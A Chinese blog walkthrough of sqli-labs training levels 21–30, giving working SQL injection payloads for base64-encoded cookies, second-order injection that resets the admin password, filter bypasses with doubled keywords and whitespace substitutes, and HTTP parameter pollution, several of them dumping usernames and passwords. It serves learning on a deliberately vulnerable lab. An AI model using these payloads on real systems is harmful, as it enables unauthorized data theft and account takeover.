sqli-lab练习(21-30关)

less-21

此关与less-20相似,但是cookie的uname经过base64编码了

所以经过猜测,本题在cookie处加密了字符串

我们看到,cookie和页面显示的有些区别,我们输入一个payload检测一下

admin' and 1=1 --+    //明文
YWRtaW4nIGFuZCAxPTEgLS0r    //密文

根据报错信息,这里我们应该构造')的闭合,我们使用联合注入,并把我们的payload进行加密

经过多次测试,我发现这里的注释只能使用#,--+不起作用

-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

爆库成功,我们同样可以更改第三个元素去获取其他信息,但不要忘了对其进行加密

less-22

与上一题相同,同样需要加密,但此题在闭合时要使用双引号而不是单引号加括号,剩下的部分也可以使用联合注入,报错注入或是盲注,选择其一即可,这里还是只给出联合注入的演示

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

爆库成功

less-23

在进行注入时我们发现此关的注释符好像失效了,所以我们去查询一下源代码

可以看到,#和--+均被替换掉了,之后发现注入点在单引号之间,所以我们使用单引号将前后闭合掉即可,所以在之前的payload的基础上加上一个没有影响的or '1'='永假条件,payload如下

?id=' union select 1,2,database() '
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

给出爆库的演示:

注意:此题的回显点还是第二,第三个元素,database()的位置不要写错了

less-24

经过查询我们可以得知,此关使用的方法为二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的,我们可以借此进行注入

查询一下源代码

可以看到如果我们注册一个用户名为admin'#的用户,在登录此用户并更改密码,那么我们的代码就会变为

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

以我们对sql语句的了解,可以知道,这句代码会更改admin的密码,从而完成注入

此时我们点击update password就可以完成对admin的密码的更改

密码成功改为123456

less-25

通过此题名我们就可以知道,此关对于or和and进行了过滤,所以我们此题有两种解法

第一种联合注入:

同样使用单引号进行闭合

?id=-1' union select 1,2,database()--+

关于为什么联合注入前面的条件为假我又查询了一些博客,原因就在这里给出,联合注入会将前后的数据全部输出,如果前面的条件为真,就会将回显点占满,导致我们想要的数据输出不了,例如此题,如果我们输入了一个正确的id值,如id=1,那么下面的两个回显点就都会变为dumb,而不是2和security

注入成功

注意:由于此题对于or有过滤,所以在爆破密码时,password会被过滤为passwd,针对这种情况我们可以双写or进行绕过,也就是passworord,paylaod如下

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

 注入成功

第二种方法:

前面已经提到了,我们可以双写or或and进行绕过,并进行报错注入

?id=-1' aandnd extractvalue(1,concat(0x7,(select database())))--+

成功注入

?id=1' anandd extractvalue(1,concat(0x7,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')))--+

同样需要注意,报错注入中的information也需要双写绕过,如infoorrmation

less-26

此关将逻辑运算符,注释符以及空格都过滤掉了,经过查询博客,由于我们是windows系统,所以空格使用()代替,注释符用单引号代替,or和and用&&和||代替

我们这里以爆表名为例,payload如下

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 

注入成功

less-26a

此题与less-26区别不大,闭合时多了一个括号,由于不显示报错信息,所以不能使用报错注入,可以使用联合注入或是盲注,由于一些必要的符号被过滤,所以我们这里对其进行替代

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

由于windows可能无法使用特殊字符代替,因为我的windows也不支持,所以这题做不下去了,但我给出payload,电脑支持特殊字符的或是Linux系统可以继续向下进行

这里是爆库的payload

?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

当然余下的也是将空格改为%a0或是%0b即可,由于对于or过滤,可以双写或使用||绕过

less-27

查看此题源代码,发现这题对or和and没有限制,但对union和select有限制,那我们不用联合注入,并把select双写即可绕过,但由于对注释号的过滤,所以还是只能使用单引号进行闭合

爆表的payload如下

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

注入成功

less-27a

此题使用双引号闭合,同样不显示报错信息,所以使用联合注入或盲注,这里还是不做演示,只给payload

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
 
 
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1
 
 
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

这里的空格使用%0a代替

less-28

此题与前面有些区别,这关会对union加空格加select进行过滤,所以我们在进行绕过是可以在这个字段中加入一个union加空格加select绕过,如uni union select on select,当时这里的空格要用%0a来代替,爆表名payload如下

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

余下的也是通过这个原理绕过

less-28a

这关只对union+空格+select进行过滤了,所以重写绕过即可

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

 终于有一道题能用自己的电脑操作了,真不容易

less-29

首先可以简单地判断一下,这题是使用单引号闭合的通过实操我们发现,此题正常使用联合注入即可,先给出解题演示

?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

我们这里给出爆列名的实例

但是我们注意到这里提到world’s best firewall,所以我们对此题的过滤方法进行深入了解

简单理解:index.php?id=1&id=2

php解析最后一个参数,也就是会显示id=2的内容,jsp解析第一个参数,显示id=1的内容

这样看来,由于我们只有一个参数,所以只会执行一个行为,但如果我们有两个参数,那就要将我们需要注入的东西写道第二个参数中,如下所示

?id=1&id=-1' union select 1,2,database() --+

同样适用

less-30

此题和上一题的payload一致,可以使用一个参数进行联合注入,或是两个参数,并将需要注入的东西写到第二个参数中,下面给出两个参数的爆表payload

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

成功注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值